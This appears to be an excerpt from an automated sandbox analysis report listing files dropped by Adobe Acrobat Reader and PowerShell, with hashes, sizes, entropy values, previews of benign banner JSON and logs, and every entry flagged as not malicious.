Preview:	{"analyticsData":{"responseGUID":"08051bc2-7788-4f45-8992-6c22d3e92ff8","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736729264476,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.333281180162007
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHndiRdt1eVoZcg1vRcR0YpoAvJfzdPeUkwRe9:YvXKX4DZc0vxGb8Ukee9
MD5:	5264ECB0E30678BB3CD7235CFB5CF564
SHA1:	EAAB62B310E09484BF97F8D0C8925602D94255FB
SHA-256:	CD0FC824007CF3A87D0A6EACF18B4287DC4E94828AD7A1B9923C3541EB0A1E23
SHA-512:	8F44C53A2687DD7EB831A117A4A6A4E007DFACC69C608CC135EDFAED73BA47ED03EAF9E927D2C891D3A22EFFA750AF4D0147EE7CD4224A4DF00D6D9EF2214694
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"08051bc2-7788-4f45-8992-6c22d3e92ff8","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736729264476,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.3136078457613936
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHndiRdt1eVoZcg1vRcR0YpoAvJfYdPeUkwRe9:YvXKX4DZc0vxGg8Ukee9
MD5:	BC52DFB84B134F4F39EFA2EC2BC118A3
SHA1:	102FF7917548F3A3160FE39DB8BC34FF74031BD9
SHA-256:	5BA72EDB85B6D143B43BE964AE4E9B9655C65BE2A7E8CEC7F224EFFA1C5E54E3
SHA-512:	B3C9CDED7D62FFB78992C349DB1E227E0B237BC9F730EED9939DAF9E92BC5C174974BA925DB7E293239F0098B39D60C730CAC78E01C0ED075F243A382E3FC119
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"08051bc2-7788-4f45-8992-6c22d3e92ff8","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736729264476,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.299897793333587
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHndiRdt1eVoZcg1vRcR0YpoAvJf+dPeUkwRe9:YvXKX4DZc0vxG28Ukee9
MD5:	498A6F6F45600F6E3B0C3A5898CEA1E4
SHA1:	62C5DDCDA5547949CAD51410B7977C5B72250D84
SHA-256:	ED041BA525634A8BB21512A8AF6A81F97D84144B3C9BBBBAE2C8CA591CAD2F89
SHA-512:	51648607BAC7C7BB4B1EE9B343C2903221C5EA38D7CFEA735575D2E78A3CB1E96A35F7DBD91BC1976B9611B21F75E7480C3C7EFDA23C861DA935C60A64208EEF
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"08051bc2-7788-4f45-8992-6c22d3e92ff8","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736729264476,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.297061418722119
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHndiRdt1eVoZcg1vRcR0YpoAvJfbPtdPeUkwRe9:YvXKX4DZc0vxGDV8Ukee9
MD5:	10C41FD70E4BA71E8A80C13DB54C3A17
SHA1:	7198E32AAA7616FACB2AA13B4F4400C1692FB484
SHA-256:	622C083126753D95CD4F13882DDA48A629D6D6F05EE85004A42A9FB0FB0FC551
SHA-512:	4819FCF44E50E218D6E0BFE0DE99E503FBFBD8C84C599E07F52683515CDD028C965EFF3E4D6A95E3C466C9AC7E9393163DBFAAB6741B7805A0F575BE7D5EF6C5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"08051bc2-7788-4f45-8992-6c22d3e92ff8","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736729264476,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.301251474174576
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHndiRdt1eVoZcg1vRcR0YpoAvJf21rPeUkwRe9:YvXKX4DZc0vxG+16Ukee9
MD5:	2F1754D70D42367B13BAB09A894FE2E9
SHA1:	EFFEC6958DA0394274C00F66CCFC2BD5AD244702
SHA-256:	09A905BB51148F7604E9FE405C869E5F7EE03047A8165CAFBBF005A8B4F27FE8
SHA-512:	CCE60D363B8E221FF9618D9E8874D0F2BAF55BBBCA471700DD719EBC3CFA27CB606C31E16A30EEB725ED5079DB7B06912A8F90C1F87BB1F0975360E4588C1348
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"08051bc2-7788-4f45-8992-6c22d3e92ff8","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736729264476,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.671578078354175
Encrypted:	false
SSDEEP:	24:Yv6X0zvqamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSX:Yv7sBgkDMUJUAh8cvMX
MD5:	7BB13DA5628A170920EDA75BFCDA1254
SHA1:	431CC261A4B72149F2DE2573216498C910AA050E
SHA-256:	68E5359EE0018EC19BB5B84EB927864A36047DD48D318E995C4C85258A51C29C
SHA-512:	02A79C5BC1DF64F8FB3E022AF7DB8C4B3F2B1D3474DD1B57421D460696D5BD10676A4A24E27CA090FEEDEABA3BE24153E1D1E207A080BDD47BE06E42CB558C33
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"08051bc2-7788-4f45-8992-6c22d3e92ff8","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736729264476,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.278309295091473
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHndiRdt1eVoZcg1vRcR0YpoAvJfshHHrPeUkwRe9:YvXKX4DZc0vxGUUUkee9
MD5:	53E358CF98F0C0334046E1526301860A
SHA1:	1C19A3A50E1944C3F9D1107E4EA0F423E1C3D5F9
SHA-256:	8AC6911739E11C4DD559AA0C769468EF42AA4B6F93E93495748F9AF50D1CBDEF
SHA-512:	BDA440A4F29432B016F8CA66D1C87280C608757B7400D2210E0E6E874CA446E5F5A3012CEA536FC2EEAB12AC7C0B316D8576B4DFCB89486DFD3AE75A9109FC5A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"08051bc2-7788-4f45-8992-6c22d3e92ff8","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736729264476,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.280136792866125
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHndiRdt1eVoZcg1vRcR0YpoAvJTqgFCrPeUkwRe9:YvXKX4DZc0vxGTq16Ukee9
MD5:	7E6ABFE48F099483A8B27DA46557D537
SHA1:	3E65C5589C3E7711256858B05DA956DD34B022B8
SHA-256:	DE8BD5F78C3122F1C02F9CAA4984E8E46484B4EAA5E0C19FB5B445D3B5B12225
SHA-512:	8E5160603998808435FF75F0217A5CB5B23B62D7BFB4776641C728B1F0CD0F9C83B7A3B5F31E71547842B13469595BE05404FD22A8E3B338C43F38DDE4084DC2
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"08051bc2-7788-4f45-8992-6c22d3e92ff8","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736729264476,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.1401503564089435
Encrypted:	false
SSDEEP:	24:YmzBa5ayFztKSn3p2dltS3jUKvj0SV9nh2ONUP2LSPChdvKCSm6Ge5RE9nkfuzOG:YmAKS50IUY7hPmPlkSCX6vg9nkw
MD5:	6E95B3AE797B5CB57E65BE09C9F04C40
SHA1:	710DFAF37FE12D379A16594C4CCF1765A7544E32
SHA-256:	64DE3543336ED156A1760EBFFE0439B401ED5D18C2C7425B7486FD7CB174285A
SHA-512:	7B78D5C8EE3A86C30DE5203E7BA66AA98A74BA5D548F5194A5E17B35533E6E7BD544F0F3AC505D26BDE0A7510299192D1C58F3C7A4EA90767156718CA0F2DC27
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"df072867d53796707550d28a92d5d849","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736549564000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"29d5a12b5655aa1a343727e64321becd","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736549564000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"e717831ba8f28436076300cbea60533b","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736549564000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"3558e647294de4933a2b07197d7adc5d","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736549564000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"ac4a1c38900445d9959603e718299d0b","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736549564000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"e835b78f0b5bd9e5427f0c1198ab20cd","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.1889670760495474
Encrypted:	false
SSDEEP:	48:TGufl2GL7msEHUUUUUUUUjSvR9H9vxFGiDIAEkGVvpf:lNVmswUUUUUUUUj+FGSIt7
MD5:	6B78AEA1DE63109F0D309E43B379AF43
SHA1:	AADE6E14C91F275FB0B4BD716084EB696DED251F
SHA-256:	DFCFAC3857977E916C963435F7EB0EB9DB1D9DAE605456201B6FD18F36D2BBCA
SHA-512:	3F92E8963F4CCD90EC2417177878C58E7270848924A6519C644B95949E6E767C13DB76A142DE4C41172115CA4991604371F2CA66C9DD50BDEA645FF74C33B967
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.6079916259341744
Encrypted:	false
SSDEEP:	48:7MhKUUUUUUUUUUHvR9H9vxFGiDIAEkGVv2qFl2GL7msp:7XUUUUUUUUUU/FGSItMKVmsp
MD5:	577432F20A56C71D7B77C82467666A48
SHA1:	D003C6941FBFB05DDAE774826E8E668D44826628
SHA-256:	AAC1BDDBDADB115AF4FE84568F12D4D2B5A975B78761CC1CCCC24D899885FFBD
SHA-512:	4253816D627EAC7557B8670BF77C571663686562973E0886BB29698654E30BC3C9DF413953A43C161DAF459FBC6686A3F7AF018EA1D75CDBCF9F4ABFDE757277
Malicious:	false
Preview:	.... .c.....j.p&......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................f.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgVOSWYW1ST8rjC6BlGDal35kAYRYyu:6a6TZ44ADE4SWYW1S36OMAK
MD5:	F1B15A428CF4C2279BED21E95DF1B070
SHA1:	4177CB65C655A62CF92EBF6FF93ABDD6C275C58F
SHA-256:	3B85D60831C42F28E915A69670FF71CAD60EBD9CD56F16869D77C8D352B06624
SHA-512:	C0930B0A02A08F3046A05FEF38333D81F426C9C26EB7D14B8BC59DDC6FD5291D3FE82AD3F312D32E7D14A130C01F4C743B0409976E735403651A3CF1C1064C61
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulJnp/p:NllU
MD5:	BC6DB77EB243BF62DC31267706650173
SHA1:	9E42FEFC2E92DE0DB2A2C9911C866320E41B30FF
SHA-256:	5B000939E436B6D314E3262887D8DB6E489A0DDF1E10E5D3D80F55AA25C9FC27
SHA-512:	91DC4935874ECA2A4C8DE303D83081FE945C590208BB844324D1E0C88068495E30AAE2321B3BA8A762BA08DAAEB75D9931522A47C5317766C27E6CE7D04BEEA9
Malicious:	false
Preview:	@...e.................................X..............@..........

C:\Users\user\AppData\Local\Temp\MSI4dbe0.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5162684137903053
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClEYlH:Qw946cPbiOxDlbYnuRK+bDY9
MD5:	8EFA547010ECAA57D96AF1D3F42CC1F0
SHA1:	4478202ADCC5AA58AED7AA61A8C18B5DEF3E1032
SHA-256:	4C83E11DEFA8471DD2F24331DD32453A55D5B6FC59685D4B3797310F06A96099
SHA-512:	050C0822517BDAD8605FEB82806FCCE70EA854A6AB4A5B9786ABF7EBF213B554AD17122F53D8E17D39FE70F98B4CD08A829661B0BA2FDD83EC38F55AA2B6E001
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.7.:.5.2.:.4.3. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gdihqtkz.g4e.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jauidln4.mnt.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 17-52-37-875.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.345946398610936
Encrypted:	false
SSDEEP:	384:zHIq8qrq0qoq/qUILImCIrImI9IWdFdDdoPtPTPtP7ygyAydy0yGV///X/J/VokV:nNW
MD5:	8947C10F5AB6CFFFAE64BCA79B5A0BE3
SHA1:	70F87EEB71BA1BE43D2ABAB7563F94C73AB5F778
SHA-256:	4F3449101521DA7DF6B58A2C856592E1359BA8BD1ACD0688ECF4292BA5388485
SHA-512:	B76DB9EF3AE758F00CAF0C1705105C875838C7801F7265B17396466EECDA4BCD915DA4611155C5F2AD1C82A800C1BEC855E52E2203421815F915B77AA7331CA0
Malicious:	false
Preview:	SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:088+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.38002402868695
Encrypted:	false
SSDEEP:	384:SiDk141Z1I1I191MfEZEmEmEtEHEC0ELEpEACP2J2P2Jn4nQnTnwnc99T9L9x9dr:6kS
MD5:	7CEBF5B134B29A55E91C18FF65C03758
SHA1:	7E3AFD04EAB5F8130F72CEB5885BCA3327D1223D
SHA-256:	7EE06F50380B1C224E479FD6BD2ECAF69AF9F1D0B67548FFF0EDA97EDF9010BF
SHA-512:	854E9DAA457A8B8CE1714B22BEFD0C01F2FE37AB009F64E2703AB974D77E2C60823668E98EBF77ECB0BCC22F66F2E36256B309BF91E6C27BCCC4B7DD4F984DCA
Malicious:	false
Preview:	SessionID=d0d539eb-984d-4c5f-91e1-98fb63c3a449.1736549557898 Timestamp=2025-01-10T17:52:37:898-0500 ThreadID=7684 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=d0d539eb-984d-4c5f-91e1-98fb63c3a449.1736549557898 Timestamp=2025-01-10T17:52:37:912-0500 ThreadID=7684 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=d0d539eb-984d-4c5f-91e1-98fb63c3a449.1736549557898 Timestamp=2025-01-10T17:52:37:912-0500 ThreadID=7684 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=d0d539eb-984d-4c5f-91e1-98fb63c3a449.1736549557898 Timestamp=2025-01-10T17:52:37:912-0500 ThreadID=7684 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=d0d539eb-984d-4c5f-91e1-98fb63c3a449.1736549557898 Timestamp=2025-01-10T17:52:37:912-0500 ThreadID=7684 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.386590418760615
Encrypted:	false
SSDEEP:	768:anddBuBYZwcfCnwZCnR8Bu5hx18HoCnLlAY+iCBuzhLCnx1CnPrRRFS10l8gT2rM:Lc
MD5:	6F4BA29BE501997DFED5DF2B6A8FCBBD
SHA1:	899ECE5B9B18106F669A864BB2AA42D7EEF1B0BE
SHA-256:	E56FB3D4E06275449BB10A0061493A47E4CFA464B8C91A127D7785F02C0F4CEC
SHA-512:	CCE9E3899EC739B8238A0B5031CEFC90A88B10207B80417F0B4D458BDC0E060696EC89585935AB09B1D1756F9C25B2A1D420476AF7D1B2F59AE3EF96652025D5
Malicious:	false
Preview:	03-10-2023 12:50:40:.---2---..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : *************************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : ***********************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Starting NGL..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..03-10-2023 12:50:40:.Closing File..03-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\0bf0f39a-fe77-43ef-9d86-f7ad3087d83a.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
